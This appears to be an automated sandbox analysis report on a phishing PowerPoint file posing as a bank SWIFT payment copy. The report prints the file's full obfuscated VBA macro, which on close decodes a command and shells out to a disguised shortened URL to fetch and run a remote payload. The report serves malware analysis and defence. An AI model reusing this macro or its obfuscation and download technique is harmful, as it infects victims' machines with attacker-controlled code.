Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K99IMC5JY7YG7OEZH6Y6.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5869379648879183
Encrypted:	false
SSDEEP:	96:chQCsMq2yqvsqvJCwo1z8hQCsMq2yqvsEHyqvJCworbzbKKr8PHmZqR/MlUV/Iu:cyko1z8ywHnorbzbPxZqRPIu
MD5:	D62CC9CCF77316A2AA6A729F57925D11
SHA1:	00678A777EC4BF4C3AD3EA8B922FF9481CE5BFDC
SHA-256:	93390D2FE903C3BDD52EEB40A7A231B9D176C8C8B54AE580A6681F2E701ACED0
SHA-512:	8480FC261FDFF51E9BC8B9345A8532408E699FD60FF6A354B01E7DCCCC6F7AF991A8840790344B042029656AF0EFBB450E90DAA3A24E371EC4E3CC458B70FAF2
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: U2, Last Saved By: Master Mana, Revision Number: 3, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 03:01, Create Time/Date: Tue Jan 12 20:38:51 2021, Last Saved Time/Date: Tue Jan 12 20:41:52 2021, Number of Words: 0
Entropy (8bit):	3.52446566989119
TrID:	Microsoft PowerPoint document (31509/1) 79.74% Generic OLE2 / Multistream Compound File (8008/1) 20.26%
File name:	BankSwiftCopyUSD95000.ppt
File size:	101888
MD5:	7f0b415d0b7a76530b2f510a910811e5
SHA1:	480594ad26c91dd9d719c80334285375540dc83e
SHA256:	8d3e1d1a1775191a33980069f500e37f22bdcd0a1ad3544ab4a9d0a651fbd019
SHA512:	d9b3320b51f390a6f75e7e3102044557e6476103c94ec4451819b78b4503f8018fee7ce8f70657473b310b14b752935fac2b7e5caaeb318e09a9af317701d8f4
SSDEEP:	768:27AB11Q3bZPGYj9c8OFEvk4kemSpn0jlO23cjo:fBPuxk5LSpElO2L
File Content Preview:	........................>.......................................................o..............................................................................................................................................................................

File Icon


Icon Hash:	e4eaeaaaa4bcbcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "BankSwiftCopyUSD95000.ppt"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Office PowerPoint
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1252
Title:
Author:	U2
Last Saved By:	Master Mana
Revion Number:	3
Total Edit Time:	181
Create Time:	2021-01-12 20:38:51.224482
Last Saved Time:	2021-01-12 20:41:52.425000
Number of Words:	0
Thumbnail:	;qTTTA Z(Zs{kcc{{{{{ss{{skkkk{{{scZZRZc{ZZZZckcccccckss{19BJBB
Creating Application:	Microsoft Office PowerPoint

Document Summary
Document Code Page:	1252
Presentation Target Format:	Widescreen
Number of Bytes:	0
Number of Paragraphs:	0
Number of Slides:	0
Number of Pages with Notes:	0
Number of Hidden Slides:	0
Number of Sound/Video Clips:	0
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 33850

General
Stream Path:	VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	33850
Data ASCII:	. . . . . . . . . . / . . . . . . . . . . . . . . . 0 . . . o . . . . . . . . . . ! i ^ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 06 f0 00 00 00 c4 2f 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 16 30 00 00 f6 6f 00 00 00 00 00 00 01 00 00 00 21 69 5e 9e 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 04 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
QUGzGlLxMQTLkNscYMh
ktRMprYexFvb
VIIksEhAgEViVTNgdzju
"jaoyhhTGhDQfLe"
VQuwdxCKAgppnsP
nXgSUoXaonITwVRyRI:
wapVcvDtZTUSYIBInN
Public
decrypt("h",
Shell
pUQQPUFLTkKJaPS:
KhgHpGswQxIC
gzSmhVBKLJOzszerqGK
nXgSUoXaonITwVRyRI
"uRYf"
ktRMprYexFvb:
xfhBejwGcpdOqMLnUm:
gpzuYnFatnd:
OoOaTmjFcAsoARgBp:
kVazolfxuRnLRNadrMO()
onOwNzDeEPJcZvQqiep
decrypt("u",
"lMhLkBNCzt"
HJBbDiSOCQNESdLK
BYHSYUgxLTUeCxacIOi
bzdHFncwmdrB
While
doFUcenKFjl()
qrRbnPjNmEeEPJcKiRc()
cryKMTIhjNeuJeyeLL:
"yqPfQprLotGR"
TJAOZHHuhHerFmD
hkbAPIsadx
bzdHFncwmdrB:
qhGjOMujDtky
decrypt("q",
"TpqzJEi"
nQedtxArQgZ()
iuIqHuyYLJDVSpLkqm()
kpaSaERQhknf
"umiuKavjsPKoqQrwEtZi"
"cSgraZMyawIQ"
BYHSYUgxLTUeCxacIOi:
JKTeZCRlEYSHn
"NyrydDpFJLDdFkUPE"
huFonbMoKQlSk
OoOaTmjFcAsoARgBp
String,
eubhAIxdZZQcNGN()
OONSDwDivuKNQIhw:
bMQqfcVolHeCIEPTi
mjbRBwEkswXsnplYNF
decrypt("\|",
ofmAwoLutcZuXfyhyL
"tfYfJVUlpsjIY"
FfTQKdawSrxtEIQ:
"MyORUMlOteZN"
MgzujOYZQcMFMrEDT
HlPNvkEulzJ:
GhgwmphFjNLti()
Auto_Close()
wQvTlxmjdvsPzJPLYop()
KDnVYsUanxSgTF:
FfTQKdawSrxtEIQ
DoEvents
HlPNvkEulzJ
TJAOZHHuhHerFmD:
cryKMTIhjNeuJeyeLL
xVnzolfxuRBLRNZqrMO
KDnVYsUanxSgTF
wuQEVHLmLQ
AefLgltjOYYQcyFM()
SxvdRmdTisbaN
HHQbeVuJCmTQrTYmj
JKTeZCRlEYSHn:
kpaSaERQhknf:
JVmnIKTrZCRyEYgVBw
"AaaA"
MbIaLPpebUnkHdBHDP
Currency
IgPagcnEFbdmJqTkQQq
bMQqfcVolHeCIEPTi:
VQuwdxCKAgppnsP:
"zEROxKkkLThIdHgxYyJD"
RAznnOQjLfKjAMAys
rpugZgKQQmqtk:
ChtsIMPGgvoYFI:
VIIksEhAgEViVTNgdzju:
hHvsmECZuS()
zEROxKkkLTgIcHgxYxIC
JLzWDvGFm
Integer)
JLzWDvGFm)
"KCzK"
KRZDPPfjmeCRKucf
"wsEU"
zEROxKkkLTgIcHgxYxIC:
ZYosumLbSDlnHkpDNi()
CHflsQkjzDFxQmeO()
hgkVcjAbaqg
KTeZCRlEYSHnwxvAl
oTPPNSEKRjJIZOR
"mrEBkxQQ"
yYLJDVSpLkpmxA:
DnxDzLdezAJ:
JVmnIKTrZCRyEYgVBw:
piRACQzERc()
QAPwCVeTzuvty()
kLfKjAbAMGZHeNZfbmDS:
Integer
calcmm
gpzuYnFatnd
ofmAwoLutcZuXfyhyL:
mjbRBwEkswXsnplYNF:
QqQcVolIeCurCTiDrA
aSCkmHkoCMhviUvRQ()
Attribute
"yQmfPxzTwBOLuHhhI"
syuGQmtvEcQ
DoEvents:
ChtsIMPGgvoYFI
JomUIdTKZjRQEEg
HPQaytVYEKemcH
MsgBox
(WINWORD
LaVESrsScoQkOnFfF:
lyYYzHUwQvTlLmxr()
decrypt
VB_Name
uYZFLfndIDECHsz:
uYZFLfndIDECHsz
"NpJoMeEfqkClIsC"
FGQojMOuBUcRxstrw
Function
bkupSiBUoj()
"YfvVUlbeV"
"BYHSZUgxLTUfCxbcIPi"
yTHQpjMOvPUdSyHH
lelPqcswyqPsQHC:
"kPKLJ"
foLGkmSmsApUe()
YfIVUlprjIYPAikFimA
PvrrqugmtK()
(decrypt("N{{x{*",
wuQEVHLmLQ:
RJjLqbVKfVMalTSGsT()
calcmm):
AKQMZpqLNQucEUBHbjY()
QqQcVolIeCurCTiDrA:
pBexdASsSeYqawg
cafPQeuVUl()
pUQQPUFLTkKJaPS
QUGzGlLxMQTLkNscYMh:
xfhBejwGcpdOqMLnUm
DnxDzLdezAJ
huFonbMoKQlSk:
yYLJDVSpLkpmxA
String
fDxbdJejrhMVVUawDKpB()
NAnOljLtKwAaALFYUs
"SoqzJEixPkDxnScc"
HPQaytVYEKemcH:
SADYAESdyLyl()
aaBJQySxVnzo()
"PhSQwQicurO"
Private
rpugZgKQQmqtk
LaVESrsScoQkOnFfF
hgkVcjAbaqg:
OONSDwDivuKNQIhw
YVDsMDuHSBAooP()
YqawgrxtEVk()

VBA Code

Attribute VB_Name = "Module1"
Sub Auto_Close()

calc2 = decrypt("q", "9")

calc3 = decrypt("u", "1")

calc4 = decrypt("h", "7")

calc = decrypt("u", "8")

calc1 = decrypt("|", "9")

calc5 = " http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv"

c = calc

c3 = calc3

c4 = calc4

c5 = calc5

c1 = calc1

c2 = calc2

calcmm = calc + calc1 + calc2 + c3 + calc4 + c5

MsgBox (decrypt("N{{x{*", "9")): Shell (decrypt("xqvo6mm", "8")): Shell (WINWORD + calcmm): Shell (decrypt("xqvo6mm", "8"))

End Sub
Private Function nQedtxArQgZ()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End

End Function
Private Sub PvrrqugmtK()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"

End Sub
Public Sub aaBJQySxVnzo()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:

End Sub
Public Sub QAPwCVeTzuvty()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End

End Sub
Public Function hHvsmECZuS()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End

End Function
Public Function SADYAESdyLyl()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End

End Function
Public Function CHflsQkjzDFxQmeO()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:

End Function
Public Sub YqawgrxtEVk()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:
GoTo uYZFLfndIDECHsz
uYZFLfndIDECHsz:

End Sub
Private Sub GhgwmphFjNLti()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:
GoTo uYZFLfndIDECHsz
uYZFLfndIDECHsz:
Dim RAznnOQjLfKjAMAys As Integer
RAznnOQjLfKjAMAys = "3177"

End Sub
Private Function AKQMZpqLNQucEUBHbjY()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:
GoTo uYZFLfndIDECHsz
uYZFLfndIDECHsz:
Dim RAznnOQjLfKjAMAys As Integer
RAznnOQjLfKjAMAys = "3177"
If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then End

End Function
Private Sub kVazolfxuRnLRNadrMO()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:
GoTo uYZFLfndIDECHsz
uYZFLfndIDECHsz:
Dim RAznnOQjLfKjAMAys As Integer
RAznnOQjLfKjAMAys = "3177"
If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then End
Dim gzSmhVBKLJOzszerqGK As Long
gzSmhVBKLJOzszerqGK = "1628"

End Sub
Public Function piRACQzERc()
If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then End
Dim qhGjOMujDtky As Long
qhGjOMujDtky = "4755"
GoTo DnxDzLdezAJ
DnxDzLdezAJ:
If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then End
If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then End
If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then End
GoTo LaVESrsScoQkOnFfF
LaVESrsScoQkOnFfF:
GoTo uYZFLfndIDECHsz
uYZFLfndIDECHsz:
Dim RAznnOQjLfKjAMAys As Integer
RAznnOQjLfKjAMAys = "3177"
If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then End
Dim gzSmhVBKLJOzszerqGK As Long
gzSmhVBKLJOzszerqGK = "1628"
Dim KhgHpGswQxIC As String
KhgHpGswQxIC = "3812"

End Function

Public Function decrypt(MvVDtfsY1 As String, JLzWDvGFm As Integer)

    Dim auDGxBsT4 As Integer

    For auDGxBsT4 = 1 To Len(MvVDtfsY1)


GoTo nXgSUoXaonITwVRyRI

nXgSUoXaonITwVRyRI:

GoTo kLfKjAbAMGZHeNZfbmDS:

KDnVYsUanxSgTF:

yTHQpjMOvPUdSyHH = "uRYf"

GoTo wuQEVHLmLQ

JKTeZCRlEYSHn:

MgzujOYZQcMFMrEDT = "yqPfQprLotGR"

GoTo rpugZgKQQmqtk

QUGzGlLxMQTLkNscYMh:

        Mid(MvVDtfsY1, auDGxBsT4, 1) = Chr(Asc(Mid(MvVDtfsY1, auDGxBsT4, 1)) - JLzWDvGFm)

GoTo huFonbMoKQlSk

bzdHFncwmdrB:

NAnOljLtKwAaALFYUs = "KCzK"

GoTo VIIksEhAgEViVTNgdzju

VIIksEhAgEViVTNgdzju:

MgzujOYZQcMFMrEDT = "yqPfQprLotGR"

GoTo JVmnIKTrZCRyEYgVBw

kLfKjAbAMGZHeNZfbmDS:

HHQbeVuJCmTQrTYmj = "AaaA"

GoTo hgkVcjAbaqg

hgkVcjAbaqg:

yTHQpjMOvPUdSyHH = "uRYf"

GoTo bzdHFncwmdrB

yYLJDVSpLkpmxA:

MbIaLPpebUnkHdBHDP = "TpqzJEi"

GoTo JKTeZCRlEYSHn

JVmnIKTrZCRyEYgVBw:

MbIaLPpebUnkHdBHDP = "TpqzJEi"

GoTo QUGzGlLxMQTLkNscYMh

rpugZgKQQmqtk:

NAnOljLtKwAaALFYUs = "KCzK"

GoTo KDnVYsUanxSgTF

huFonbMoKQlSk:

GoTo yYLJDVSpLkpmxA

wuQEVHLmLQ:

HHQbeVuJCmTQrTYmj = "AaaA"

GoTo ktRMprYexFvb

ktRMprYexFvb:


    Next auDGxBsT4


GoTo mjbRBwEkswXsnplYNF

mjbRBwEkswXsnplYNF:

GoTo lelPqcswyqPsQHC:

BYHSYUgxLTUeCxacIOi:

FGQojMOuBUcRxstrw = "YfvVUlbeV"

GoTo pUQQPUFLTkKJaPS

zEROxKkkLTgIcHgxYxIC:

pBexdASsSeYqawg = "wsEU"

GoTo BYHSYUgxLTUeCxacIOi

VQuwdxCKAgppnsP:

GoTo ChtsIMPGgvoYFI

pUQQPUFLTkKJaPS:

JomUIdTKZjRQEEg = "lMhLkBNCzt"

GoTo HlPNvkEulzJ

HlPNvkEulzJ:

IgPagcnEFbdmJqTkQQq = "kPKLJ"

GoTo TJAOZHHuhHerFmD

lelPqcswyqPsQHC:

IgPagcnEFbdmJqTkQQq = "kPKLJ"

GoTo FfTQKdawSrxtEIQ

OoOaTmjFcAsoARgBp:

    decrypt = MvVDtfsY1

GoTo VQuwdxCKAgppnsP

FfTQKdawSrxtEIQ:

JomUIdTKZjRQEEg = "lMhLkBNCzt"

GoTo gpzuYnFatnd

ChtsIMPGgvoYFI:

KRZDPPfjmeCRKucf = "mrEBkxQQ"

GoTo zEROxKkkLTgIcHgxYxIC

gpzuYnFatnd:

FGQojMOuBUcRxstrw = "YfvVUlbeV"

GoTo OONSDwDivuKNQIhw


xfhBejwGcpdOqMLnUm:


GoTo cryKMTIhjNeuJeyeLL

cryKMTIhjNeuJeyeLL:

KRZDPPfjmeCRKucf = "mrEBkxQQ"

GoTo OoOaTmjFcAsoARgBp

OONSDwDivuKNQIhw:

pBexdASsSeYqawg = "wsEU"


GoTo xfhBejwGcpdOqMLnUm


GoTo ofmAwoLutcZuXfyhyL

ofmAwoLutcZuXfyhyL:

TJAOZHHuhHerFmD:


End Function
Public Function fDxbdJejrhMVVUawDKpB()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End

End Function
Private Function doFUcenKFjl()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"

End Function
Public Sub YVDsMDuHSBAooP()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"

End Sub
Public Sub eubhAIxdZZQcNGN()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"

End Sub
Public Sub iuIqHuyYLJDVSpLkqm()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"

End Sub
Public Function ZYosumLbSDlnHkpDNi()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"

End Function
Private Sub foLGkmSmsApUe()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"

End Sub
Public Function qrRbnPjNmEeEPJcKiRc()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:

End Function
Public Function cafPQeuVUl()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop

End Function
Public Function wQvTlxmjdvsPzJPLYop()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"

End Function
Public Function RJjLqbVKfVMalTSGsT()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"
GoTo bMQqfcVolHeCIEPTi
bMQqfcVolHeCIEPTi:

End Function
Private Sub bkupSiBUoj()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"
GoTo bMQqfcVolHeCIEPTi
bMQqfcVolHeCIEPTi:
GoTo kpaSaERQhknf
